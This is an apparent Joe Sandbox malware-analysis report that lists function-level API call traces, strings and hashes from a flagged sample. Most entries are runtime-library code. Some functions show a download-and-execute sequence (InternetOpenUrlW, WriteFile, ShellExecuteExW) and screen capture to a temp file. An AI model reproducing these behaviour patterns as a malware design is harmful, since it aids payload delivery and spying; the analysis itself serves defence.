Opcode ID: b03a7801d6019e59bb4c233ad1414a5731b908e49fac2b6ae936764f1f9c7900
Instruction ID: 0ff09d43ab92fd94db4e04707a24a08b32e8602f4e90d33efca8c57d9b795f06
Opcode Fuzzy Hash: b03a7801d6019e59bb4c233ad1414a5731b908e49fac2b6ae936764f1f9c7900
Instruction Fuzzy Hash: F0711F72900228AFDB229F74DD85FAEB7BCEF09710F0041A5B609E6151DA74AF91CF14

Function 004022BB Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 186windowkeyboardfileCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 00402317
DefWindowProcW.USER32(?,00000204,?,?), ref: 00402329
ReleaseCapture.USER32 ref: 0040233C
GetDC.USER32(00000000), ref: 00402363
CreateCompatibleBitmap.GDI32(?,-0045955F,00000001), ref: 004023EA
CreateCompatibleDC.GDI32(?), ref: 004023F3
SelectObject.GDI32(00000000,00000000), ref: 004023FD
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00CC0020), ref: 0040242B
ShowWindow.USER32(?,00000000), ref: 00402434
GetTempPathW.KERNEL32(00000104,?), ref: 00402446
GetTempFileNameW.KERNEL32(?,gya,00000000,?), ref: 00402461
DeleteFileW.KERNEL32(?), ref: 0040247B
DeleteDC.GDI32(00000000), ref: 00402482
DeleteObject.GDI32(00000000), ref: 00402489
ReleaseDC.USER32(00000000,?), ref: 00402497
DestroyWindow.USER32(?), ref: 0040249E
SetCapture.USER32(?), ref: 004024EB
GetDC.USER32(00000000), ref: 0040251F
ReleaseDC.USER32(00000000,00000000), ref: 00402535
GetKeyState.USER32(0000001B), ref: 00402542
DestroyWindow.USER32(?), ref: 00402557

Strings

gya, xrefs: 00402455

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Window$DeleteDestroyRelease$CaptureCompatibleCreateFileObjectTemp$BitmapNamePathProcSelectShowState
String ID: gya
API String ID: 2545303185-1989253062
Opcode ID: 9dfe4c6a1e34ae521082438855381b6b7e2b826d81ad1e6ca3bae942615d5e8d
Instruction ID: ae3177f1b83591c364d2a65ea08a5a153b551efd0c8b4a86ff32973b78b82aba
Opcode Fuzzy Hash: 9dfe4c6a1e34ae521082438855381b6b7e2b826d81ad1e6ca3bae942615d5e8d
Instruction Fuzzy Hash: 82615F76500208EBCB15CF64ED48BAA77B9FB49301F14447AF606922A2E7B8DD61CF1C

Function 0212750F Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 02127553

Part of subcall function 021268A2: _free.LIBCMT ref: 021268BF
Part of subcall function 021268A2: _free.LIBCMT ref: 021268D1
Part of subcall function 021268A2: _free.LIBCMT ref: 021268E3
Part of subcall function 021268A2: _free.LIBCMT ref: 021268F5
Part of subcall function 021268A2: _free.LIBCMT ref: 02126907
Part of subcall function 021268A2: _free.LIBCMT ref: 02126919
Part of subcall function 021268A2: _free.LIBCMT ref: 0212692B
Part of subcall function 021268A2: _free.LIBCMT ref: 0212693D
Part of subcall function 021268A2: _free.LIBCMT ref: 0212694F
Part of subcall function 021268A2: _free.LIBCMT ref: 02126961
Part of subcall function 021268A2: _free.LIBCMT ref: 02126973
Part of subcall function 021268A2: _free.LIBCMT ref: 02126985
Part of subcall function 021268A2: _free.LIBCMT ref: 02126997

_free.LIBCMT ref: 02127548

Part of subcall function 02120381: HeapFree.KERNEL32(00000000,00000000,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?), ref: 02120397
Part of subcall function 02120381: GetLastError.KERNEL32(?,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?,?), ref: 021203A9

_free.LIBCMT ref: 0212756A
_free.LIBCMT ref: 0212757F
_free.LIBCMT ref: 0212758A
_free.LIBCMT ref: 021275AC
_free.LIBCMT ref: 021275BF
_free.LIBCMT ref: 021275CD
_free.LIBCMT ref: 021275D8
_free.LIBCMT ref: 02127610
_free.LIBCMT ref: 02127617
_free.LIBCMT ref: 02127634
_free.LIBCMT ref: 0212764C

Strings

hcE, xrefs: 021275FB
8bE, xrefs: 02127525

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8bE$hcE
API String ID: 161543041-4064109225
Opcode ID: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction ID: 7030af8d8eeaa7dcc3a632a11d1e802c444d14a94196449cc8c44cf2130bae9f
Opcode Fuzzy Hash: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction Fuzzy Hash: C5317E71A842209FEB20AA39D944B5BF3EDAF14315F104A69F448D7190DF71E96ACB50

Function 004372A8 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004372EC

Part of subcall function 0043663B: _free.LIBCMT ref: 00436658
Part of subcall function 0043663B: _free.LIBCMT ref: 0043666A
Part of subcall function 0043663B: _free.LIBCMT ref: 0043667C
Part of subcall function 0043663B: _free.LIBCMT ref: 0043668E
Part of subcall function 0043663B: _free.LIBCMT ref: 004366A0
Part of subcall function 0043663B: _free.LIBCMT ref: 004366B2
Part of subcall function 0043663B: _free.LIBCMT ref: 004366C4
Part of subcall function 0043663B: _free.LIBCMT ref: 004366D6
Part of subcall function 0043663B: _free.LIBCMT ref: 004366E8
Part of subcall function 0043663B: _free.LIBCMT ref: 004366FA
Part of subcall function 0043663B: _free.LIBCMT ref: 0043670C
Part of subcall function 0043663B: _free.LIBCMT ref: 0043671E
Part of subcall function 0043663B: _free.LIBCMT ref: 00436730

_free.LIBCMT ref: 004372E1

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 00437303
_free.LIBCMT ref: 00437318
_free.LIBCMT ref: 00437323
_free.LIBCMT ref: 00437345
_free.LIBCMT ref: 00437358
_free.LIBCMT ref: 00437366
_free.LIBCMT ref: 00437371
_free.LIBCMT ref: 004373A9
_free.LIBCMT ref: 004373B0
_free.LIBCMT ref: 004373CD
_free.LIBCMT ref: 004373E5

Strings

0bE, xrefs: 004372BE

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 0bE
API String ID: 161543041-2320990392
Opcode ID: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction ID: 6fe88e5104516f0d0abc5297c84c3c03fe5c06696699df0eeb385e29b92d925e
Opcode Fuzzy Hash: 8293ae290cfb80a2986bd63d1347c45f5c2b10de45a1b2626e0279f449987c41
Instruction Fuzzy Hash: 37318D71604205DBDB38AA39D842B5B77E9FF08324F50A51FE8A8C7252DB79AC40D628

Function 00436739 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00436781
_free.LIBCMT ref: 004367A5
_free.LIBCMT ref: 004367B2
_free.LIBCMT ref: 004367D7
_free.LIBCMT ref: 004367E4
_free.LIBCMT ref: 004367ED
_free.LIBCMT ref: 00436ACB
_free.LIBCMT ref: 00436AD3

Strings

0bE, xrefs: 00436767, 00436A50

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free
String ID: 0bE
API String ID: 269201875-2320990392
Opcode ID: 4305420aca44bf50ed34a27767065c2bc928970926cebd0ed00ebe7d3f1468a6
Instruction ID: 079a1378443376bda9fc4260b50951273a95715a64b1383f8eece2b75ce94bc1
Opcode Fuzzy Hash: 4305420aca44bf50ed34a27767065c2bc928970926cebd0ed00ebe7d3f1468a6
Instruction Fuzzy Hash: E4C14272D40209BBDB20DFA8CC46FEE77F8AB09705F15916AFA04FB282D6749A418754

Function 0042B362 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042B3D2
_free.LIBCMT ref: 0042B3E8
_free.LIBCMT ref: 0042B3F9
_free.LIBCMT ref: 0042B40A
_free.LIBCMT ref: 0042B421
GetCPInfo.KERNEL32(?,?), ref: 0042B469

Part of subcall function 0043339B: _free.LIBCMT ref: 00433406

_free.LIBCMT ref: 0042B615
_free.LIBCMT ref: 0042B628
_free.LIBCMT ref: 0042B636
_free.LIBCMT ref: 0042B641
_free.LIBCMT ref: 0042B683
_free.LIBCMT ref: 0042B68B
_free.LIBCMT ref: 0042B693
_free.LIBCMT ref: 0042B69B
_free.LIBCMT ref: 0042B6A9

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 23f939fd5aaaa0718d2f29aab6f0ed802ba52939fa36369444c15a02cef3fc0b
Instruction ID: 4c1ed0dc83508eed8dd5cba2edfe27c0d7c3a1e993973e525b668e3952f8602b
Opcode Fuzzy Hash: 23f939fd5aaaa0718d2f29aab6f0ed802ba52939fa36369444c15a02cef3fc0b
Instruction Fuzzy Hash: D5B1BF71A00219AFDB15DF69C881BEEBBF4FF08304F54452EF495A7342D73A98458BA8

Function 0211B5C9 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211B639
_free.LIBCMT ref: 0211B64F
_free.LIBCMT ref: 0211B660
_free.LIBCMT ref: 0211B671
_free.LIBCMT ref: 0211B688
GetCPInfo.KERNEL32(?,?), ref: 0211B6D0

Part of subcall function 02123602: _free.LIBCMT ref: 0212366D

_free.LIBCMT ref: 0211B87C
_free.LIBCMT ref: 0211B88F
_free.LIBCMT ref: 0211B89D
_free.LIBCMT ref: 0211B8A8
_free.LIBCMT ref: 0211B8EA
_free.LIBCMT ref: 0211B8F2
_free.LIBCMT ref: 0211B8FA
_free.LIBCMT ref: 0211B902
_free.LIBCMT ref: 0211B910

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 0db594b7b41d9c7bf51f059540b4456830210cd63f1aec4f0b87f28bcc79aeac
Instruction ID: fa5934c2da580a1d663f30a16dd3b3feeb42fa0ceeba5dc2b4b80e350e4b3518
Opcode Fuzzy Hash: 0db594b7b41d9c7bf51f059540b4456830210cd63f1aec4f0b87f28bcc79aeac
Instruction Fuzzy Hash: 3BB1CCB1D44219AFDB10DF69C880BEEBBF9FF08308F044179E899A7241D775AA45DB60

Function 020F29A5 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134filenetworksynchronizationCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0044EE38,00000000,00000000,00000000,00000000), ref: 020F29C8
InternetOpenUrlW.WININET(00000000,004596F8,00000000,00000000,00000000,00000000), ref: 020F29DE
GetTempPathW.KERNEL32(00000105,?), ref: 020F29FA
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 020F2A10
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 020F2A49
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 020F2A85
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 020F2AA2
ShellExecuteExW.SHELL32(?), ref: 020F2B19
WaitForSingleObject.KERNEL32(?,00008000), ref: 020F2B2E

Strings

<, xrefs: 020F2AF6

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: File$Internet$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: <
API String ID: 838076374-4251816714
Opcode ID: a7735749eb299b5d0685d7147467c8c5bffc6c3f2c6ffb6c8d0f77e69bd77991
Instruction ID: 2612b6d021d98e3abc31ff6378ecf59f22a40576e04ffdcf2529f80f6fa63593
Opcode Fuzzy Hash: a7735749eb299b5d0685d7147467c8c5bffc6c3f2c6ffb6c8d0f77e69bd77991
Instruction Fuzzy Hash: BE4131B594021DAEEB61DB649C85FEAB7FCFF05344F0080B5AA49A2150DF709E858FA4

Function 0210BB62 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,00456064,00000000,?,?,00000000,0043E73B,000000FF,?,0210BEC8,00000004,02104A27,00000004,02104D09), ref: 0210BB99
GetLastError.KERNEL32(?,0210BEC8,00000004,02104A27,00000004,02104D09,?,02105439,?,00000008,02104CAD,00000000,?,?,00000000,?), ref: 0210BBA5
LoadLibraryW.KERNEL32(advapi32.dll,?,0210BEC8,00000004,02104A27,00000004,02104D09,?,02105439,?,00000008,02104CAD,00000000,?,?,00000000), ref: 0210BBB5
GetProcAddress.KERNEL32(00000000,004443F8), ref: 0210BBCB
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BBE1
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BBF8
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BC0F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BC26
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BC3D

Strings

advapi32.dll, xrefs: 0210BB93, 0210BB98, 0210BBB4

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 2617766161acadced67e2f7134030dff7adf7a79f76e76eb144288a3bf09a14e
Instruction ID: 3d181106570d441de5b858f4c71e3121e5f91cd0865cda3f9d4389e300e88519
Opcode Fuzzy Hash: 2617766161acadced67e2f7134030dff7adf7a79f76e76eb144288a3bf09a14e
Instruction Fuzzy Hash: F6219DB5941751ABD7006FB8AD4CF4ABBE8FF05711F10492AE642D3A90DFB98410CFA8

Function 0210BB65 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(advapi32.dll,00000000,00000800,00456064,00000000,?,?,00000000,0043E73B,000000FF,?,0210BEC8,00000004,02104A27,00000004,02104D09), ref: 0210BB99
GetLastError.KERNEL32(?,0210BEC8,00000004,02104A27,00000004,02104D09,?,02105439,?,00000008,02104CAD,00000000,?,?,00000000,?), ref: 0210BBA5
LoadLibraryW.KERNEL32(advapi32.dll,?,0210BEC8,00000004,02104A27,00000004,02104D09,?,02105439,?,00000008,02104CAD,00000000,?,?,00000000), ref: 0210BBB5
GetProcAddress.KERNEL32(00000000,004443F8), ref: 0210BBCB
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BBE1
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BBF8
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BC0F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BC26
GetProcAddress.KERNEL32(00000000,00000000), ref: 0210BC3D

Strings

advapi32.dll, xrefs: 0210BB93, 0210BB98, 0210BBB4

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ErrorLast
String ID: advapi32.dll
API String ID: 2340687224-4050573280
Opcode ID: 7585205b535eb8b6198813c6b3ae3d7cc1eadf0adff1ec97b14ed099f7cf6e97
Instruction ID: eb3cbc7debad52e667594cabaaa96cd22dd24d73f013630a7952c8323321703a
Opcode Fuzzy Hash: 7585205b535eb8b6198813c6b3ae3d7cc1eadf0adff1ec97b14ed099f7cf6e97
Instruction Fuzzy Hash: E121CFB5940741ABD7006FB8AC0CF4ABBECFF05710F10492AE241D3A90DFB99400CBA8

Function 020FF147 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,021033AB), ref: 020FF156
GetProcAddress.KERNEL32(00000000,00443CA4), ref: 020FF164
GetProcAddress.KERNEL32(00000000,00443CBC), ref: 020FF172
GetModuleHandleW.KERNEL32(kernel32.dll,00443CD4,?,?,?,021033AB), ref: 020FF1A0
GetProcAddress.KERNEL32(00000000), ref: 020FF1A7
GetLastError.KERNEL32(?,?,?,021033AB), ref: 020FF1C2
GetLastError.KERNEL32(?,?,?,021033AB), ref: 020FF1CE
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF1E4
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF1F2

Strings

kernel32.dll, xrefs: 020FF150, 020FF155, 020FF19A

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: ad12a3b5cce6c166a177557bfeb8ed2e4eb31a639a05941a5d0595d1f33ed6e6
Instruction ID: 063374007e8849c97cf7d5d4440c57fff746332317f905d89845b2008bb60a5a
Opcode Fuzzy Hash: ad12a3b5cce6c166a177557bfeb8ed2e4eb31a639a05941a5d0595d1f33ed6e6
Instruction Fuzzy Hash: 0811E9365403126B93413B74AC4CAAB36ECB901741710043BFB01E3AD0EFB5C8009A68

Function 00436B5E Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00436BCD
_free.LIBCMT ref: 00436BDB
_free.LIBCMT ref: 00436D09
_free.LIBCMT ref: 00436D14

Strings

4bE, xrefs: 00436D65
0bE, xrefs: 00436B89, 00436D4E

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free
String ID: 0bE$4bE
API String ID: 269201875-3178220123
Opcode ID: 1f7a5bc554f8cff06f338544c4b0e431754dbbbe1f3ac1e917737578bf29886e
Instruction ID: 6aed72b63ab7eade11c1b350da30a8bf7d8c7915740c006cfbdae768d958fa7c
Opcode Fuzzy Hash: 1f7a5bc554f8cff06f338544c4b0e431754dbbbe1f3ac1e917737578bf29886e
Instruction Fuzzy Hash: FB61C571A00206AFDB20DF69C842B9EBBF5EF08310F15956BEC54EB342D7749D418B58

Function 02126DC5 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02126E34
_free.LIBCMT ref: 02126E42
_free.LIBCMT ref: 02126F70
_free.LIBCMT ref: 02126F7B

Strings

4bE, xrefs: 02126FCC
0bE, xrefs: 02126DF0, 02126FB5

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free
String ID: 0bE$4bE
API String ID: 269201875-3178220123
Opcode ID: f3d14510a37663b5d01637637511f3786aa1a17f823c6023892415c7a8535dc1
Instruction ID: 2548b41435ed641abc062f2d4905ba9e353d6794af2d8759cb8f5b1c8f09e974
Opcode Fuzzy Hash: f3d14510a37663b5d01637637511f3786aa1a17f823c6023892415c7a8535dc1
Instruction Fuzzy Hash: B361E371D44265AFDF20DF68C841BAABBF9EF08310F1401AAF854EB280E770A955CF90

Function 004214ED Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00421506

Part of subcall function 004217D5: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00421239), ref: 004217E5

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 0042151B
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042152A
__CxxThrowException@8.LIBVCRUNTIME ref: 00421538
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 004215AE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004215EE
__CxxThrowException@8.LIBVCRUNTIME ref: 004215FC

Strings

pContext, xrefs: 004215E6
switchState, xrefs: 00421522

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: pContext$switchState
API String ID: 3151764488-2660820399
Opcode ID: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction ID: b9fa9ae2d6482eb35b7c98c4fc90de834a109f40a74bf145f139506a489ca961
Opcode Fuzzy Hash: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction Fuzzy Hash: 0E31FB35B00224ABCF05EF65D481A6E7375BFA4354F6044ABE912A7392DB78DD01C798

Function 004163E6 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00416408
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 00416412
DuplicateHandle.KERNEL32(00000000), ref: 00416419
SafeRWList.LIBCONCRT ref: 00416438

Part of subcall function 00414407: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00414418
Part of subcall function 00414407: List.LIBCMT ref: 00414422

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041644A
GetLastError.KERNEL32 ref: 00416459
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041646F
__CxxThrowException@8.LIBVCRUNTIME ref: 0041647D

Strings

eventObject, xrefs: 00416442

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorException@8HandleLastLock::_ReaderSafeThrowWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1999291547-1680012138
Opcode ID: 1d588e424c5e3a4dec9f5e0e629a8defebaa69f13a2bd2988e1f9552c986b2aa
Instruction ID: 618c2de97634232152c93c993c416d7ad0c384cbbc7b7574bc873865a8829aa6
Opcode Fuzzy Hash: 1d588e424c5e3a4dec9f5e0e629a8defebaa69f13a2bd2988e1f9552c986b2aa
Instruction Fuzzy Hash: FF11AC75500204EADB20EBA4DD4AFEE73BCAB01305F20813BB506E20D2DB78DA55CB6D

Function 0210D8C6 Relevance: 15.1, APIs: 10, Instructions: 136threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0210D8D6
Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0210D93D
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0210D95A
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0210D9C0
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0210D9D5
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0210D9E7
Concurrency::details::InternalContextBase::SwitchTo.LIBCONCRT ref: 0210DA15
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0210DA20
__CxxThrowException@8.LIBVCRUNTIME ref: 0210DA4C
Concurrency::details::WorkItem::TransferReferences.LIBCONCRT ref: 0210DA5C

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::ContextInternal$Work$ChoreCurrentThread$AssociatedCompletionCreateException@8ExecuteExecutedFoundInlineItem::ListReferencesSwitchThrowTransferWait
String ID:
API String ID: 3720063390-0
Opcode ID: 043c77c0ca6a65c921d7cfc47ace299df91409a91b7b974d9946b61208d3d82c
Instruction ID: 73fc7dcf3544a0b48383a26f46e701218562693a73b8edb56e9832852dd2a8ff
Opcode Fuzzy Hash: 043c77c0ca6a65c921d7cfc47ace299df91409a91b7b974d9946b61208d3d82c
Instruction Fuzzy Hash: 0F41BE30A842449FCF19FFE4A4E47EC7762EF45314F0440AAD9466B2C6DBB45A06CFA6

Function 0042EA96 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042EAAA

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 0042EAB6
_free.LIBCMT ref: 0042EAC1
_free.LIBCMT ref: 0042EACC
_free.LIBCMT ref: 0042EAD7
_free.LIBCMT ref: 0042EAE2
_free.LIBCMT ref: 0042EAED
_free.LIBCMT ref: 0042EAF8
_free.LIBCMT ref: 0042EB03
_free.LIBCMT ref: 0042EB11

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction ID: 28cf91e5b57671f8b7b4216668ff0a0ab135574872f853874d6e2f7e08cd52dc
Opcode Fuzzy Hash: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction Fuzzy Hash: 7011967610010CAFCF09EF56DC62CD93F75EF08354F8191AAFA188B222DA36DA519B84

Function 0211ECFD Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0211ED11

Part of subcall function 02120381: HeapFree.KERNEL32(00000000,00000000,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?), ref: 02120397
Part of subcall function 02120381: GetLastError.KERNEL32(?,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?,?), ref: 021203A9

_free.LIBCMT ref: 0211ED1D
_free.LIBCMT ref: 0211ED28
_free.LIBCMT ref: 0211ED33
_free.LIBCMT ref: 0211ED3E
_free.LIBCMT ref: 0211ED49
_free.LIBCMT ref: 0211ED54
_free.LIBCMT ref: 0211ED5F
_free.LIBCMT ref: 0211ED6A
_free.LIBCMT ref: 0211ED78

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

